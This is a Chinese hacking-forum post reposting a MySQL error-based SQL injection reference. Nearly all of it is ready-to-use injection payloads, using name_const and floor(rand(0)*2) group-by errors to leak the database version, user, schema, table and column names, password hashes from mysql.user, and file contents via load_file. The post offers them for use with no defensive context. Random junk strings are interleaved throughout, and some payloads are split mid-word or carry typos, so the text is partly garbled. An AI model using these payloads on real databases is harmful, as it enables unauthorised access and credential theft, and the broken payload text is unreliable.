中国网络渗透测试联盟
标题:
Mysql暴错注入参考(pdf)
[打印本页]
作者:
admin
时间:
2013-7-27 11:00
标题:
Mysql暴错注入参考(pdf)
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
$ C2 U) S5 L) T# k
+ V( j4 O5 a' A. J+ [: S) q# ~
2 H5 l5 t: {& R. ^% A) X* e
Mysql暴错注入参考(pdf),每天一贴。。。
$ T2 q/ ~( ~" a. j+ I7 C0 w
J$ ^+ f- V: K! D5 S
MySql Error Based Injection Reference
; P1 h7 t& n: A4 O) y) X
[Mysql暴错注入参考]
5 s: p; G3 u" I6 T: e; ?& ]
Authornig0s1992
8 R+ m$ F" j) t4 l: k9 X
Blog:
http://pnig0s1992.blog.51cto.com/
, ?" Q+ Q$ p1 ~
TeAm:
http://www.FreeBuf.com/
' R* N2 u, N: ~! ~ N. [; L" v1 K( ?
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
, C9 _$ [1 n- X. G8 L
小部分版本使用name_const()时会报错.可以用给出的Method.2测试
$ j# o0 ~3 J& C) e; t% k3 l$ m
查询版本:
( M4 h p5 N0 U6 \7 {+ M
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
4 \/ O# r: F' ^9 e! y9 ~/ ^3 S& n
join+(select+name_const(@@version,0))b)c)
8 O# b# t* H& r& ]
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
- ~; s ^# s \; F, o6 ^5 Y
up by a)b)
$ A! i5 c- s4 m
查询当前用户:
" U$ f% e7 }" O9 ?
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
O' `1 F% X+ g7 s6 O
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
6 y6 X C% h Q- |9 t4 F
and(0)*2))x+from+information_schema.tables+group+by+x)a)
}. u& u/ _1 q
查询当前数据库:
6 G6 C- v8 r0 A9 Y/ o0 L* U! A
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
2 ~- M. z# G- i7 ]! N- E3 f
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
9 E4 z$ b0 X% w7 D2 w8 g
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
; y" y* t% C6 D4 b
依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
& ?: H6 ^% F+ I1 I6 Z0 J1 B
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
( u7 O9 A3 W* J0 f- q! _/ ^7 v
顺序替换
1 }# }/ C x3 z+ V' d0 A
爆指定库数目:
% f7 |: r; r8 e0 [' J4 \" @
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
; X0 p& z3 n- p2 r
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
' b' T1 Y/ d7 T
+by+x)a)+and+1=1 0x6D7973716C=mysql
1 H& r" t2 P w; h8 H' A
依次爆表:
+ u9 W$ t' z; m( [
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
; P }: z8 w# |" s5 X; E
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
8 z. v( p" K/ l
bles+group+by+x)a)+and+1=1
D! e3 I8 A. d
0x6D7973716C=Mysql 将n顺序替换
" i5 ~& j, ~# G% ^( M& a% J$ ~! t* t
爆表内字段数目:
6 g+ C5 n: P( {! \
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
9 } m- _2 B. p" B
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
4 o6 R% S1 G3 |1 N! @
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
* r0 o- ~1 j; R B% q2 G
依次爆字段:
+ J+ E( |% I' e0 {9 v
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
3 |. i4 L6 q3 t y9 Q" ^% _5 t
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
& ~: W! _; l3 \
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1 将n顺序替换
1 k' [0 \) A* O! A2 K% d# h
依次暴内容:
; F8 v& j, K% _4 I. X9 U& U2 u
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
# ?* {4 @: t5 h& _3 B; O
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
- Z' U& B/ i6 x q+ ]
将n顺序替换
. `" b. N4 w( v" u' [ s
爆文件内容:
: n- O6 S6 |$ ], v
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
' A" r g+ q0 @4 _
from+information_schema.tables+group+by+a)b)
$ x! ?! ?, g; p4 d+ [# U; x0 B; h; u3 i
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
9 r2 D0 h6 T# j4 d, I
Thx for reading.
/ `% ?' R; ~4 C2 V) r4 N# X
9 d, m5 l) e7 k! [( @3 ?
不要下载也可以,
' H& v% p% r1 u1 Z' Z2 \
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2